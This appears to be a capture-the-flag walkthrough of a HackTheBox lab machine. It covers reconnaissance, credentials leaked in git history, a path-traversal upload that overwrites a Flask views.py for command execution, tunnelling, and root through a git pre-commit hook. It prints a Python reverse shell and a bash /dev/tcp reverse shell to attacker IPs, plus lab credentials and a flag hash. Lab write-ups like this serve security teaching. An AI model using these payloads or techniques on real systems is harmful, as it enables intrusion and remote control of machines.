HTB OpenSource

We start with an initial nmap scan:
nmap -sV -sC -oA nmap/initial 10.10.11.164

Not sure what the service on port 3000 is, and a banner grab fails.

We run a full port scan:
nmap -sV -sC -p- -oA nmap/full 10.10.11.164

We see a webserver running on port 80 now,
Werkzeug/2.1.2 Python/3.10.3

We run feroxbuster:

There is a console on this Werkzeug server:

We know that there is a way to bypass the Pin.

But we keep looking for other areas to exploit.
The download link allows us to download the source of the site as a zip file.

There is also a link to an upload site:
http://10.10.11.164/upcloud

We can see by looking through the source code, what kind of file the upload is expecting, and what is being used to parse it.

We can try to look at the code for the popper.js
Without understanding what the code is doing it's not very useful.
We check to see if there are any git logs:
git log:

We run git show against the latest commit to see what we can learn:

git branch tells us there are multiple repos:

We use the command git checkout dev to switch branches, and the run git log again:

We can compare the differences between the first and last commit using git diff:
The main difference is the existence of a file that is not in the most recent version:

We can load that git branch using the git checkout command again, and then read the file:
git checkout a76f8f75f7a4a12b706b0cf9c983796fa1985820

We may have credentials of the user who uploaded the file now:

dev01:Soulless_Developer#2022

Looking at the views.py file, that the app uses to upload files, we can see a vulnerability in the code. The os.path.join function tells the script to write a file path name on the server where the upload is going:

Because we control the filename, we may be able to use directory traversal. Looking at the utils.py file, we can see that ../ is not allowed, but when we create a file name with /file it overwrites the public/uploads directory. Essentially, we can create our own subdirectory and control it however we want.

To do this, we need to modify the source code, and then upload it to the server.
If we were to modify the views.py file to include the following code, we can use python for command execution:

@app.route('/run/')
def run_command(cmd):
return subprocess.check_output(cmd.split(" "))

We intercept the file upload through burpsuite and add our line of code to the end of the file:

We also modify the file location at the top of the request to be /app/app/views.py:

We have code execution:

We can try to see which shell is running. We run which sh and find that /bin/sh is running.

Now we can try to upload a reverse shell using the following:
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.8",80))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("/bin/sh")

We add that portion to our burp request:

We change the port to 1337, and then we get a our shell:

The shell is within the docker and we can confirm this by looking at the ip address:

We can try to interact with the host machine using 172.17.0.1 by running nc to banner grab port 22

We can confirm that the service on port 3000 is a webserver by using nc to make a get request:

We make another Get request using the Host as the ip of the host machine and get a page back with a gitea header:

We upload chisel to the box to try to connect to the service locally:

We start chisel on our machine:
./chisel64 server -p 8001 --reverse
On the target we use:
./chisel64 client 10.10.14.8:8001 R:socks

We see that we opened port 1080 on the target machine.
We set up a socks5 proxy on FoxyProxy:

Now we can view the page on port 3000:

There is a sign in page, and we can try the credentials we found earlier.

We can login:

Within the portal there is a home-backup folder with .ssh credentials:

We copy the key locally and then chmod 600 and run:
ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i id_rsa_opensource dev01@10.10.11.164


ef8673f7f66ee54589e46ab7ed5c3c37

There is a folder .git that is updated constantly:

We upload pspy and run it to see what processes are taking place:

This command seems to run every minute:

We can go look at what that file is doing.

The file is a bash script that runs a command, and checks for changes then makes a git commit. Perhaps we can add a file in /home/dev01 that calls a reverse shell for us.

We can make a script file that executes:
/bin/bash -i >& /dev/tcp/10.10.14.3/31337 0>&1

Inside the /home/dev01/.git folder there is a hooks folder that we could potentially modify since there are bash scripts there already:

We write to a file called pre-commit:

We make that script executable by using chmod +x pre-commit

We make a new file in the /home/dev01 folder so that the git commit will happen, and then wait to see if a shell executes.

Now we have a root shell: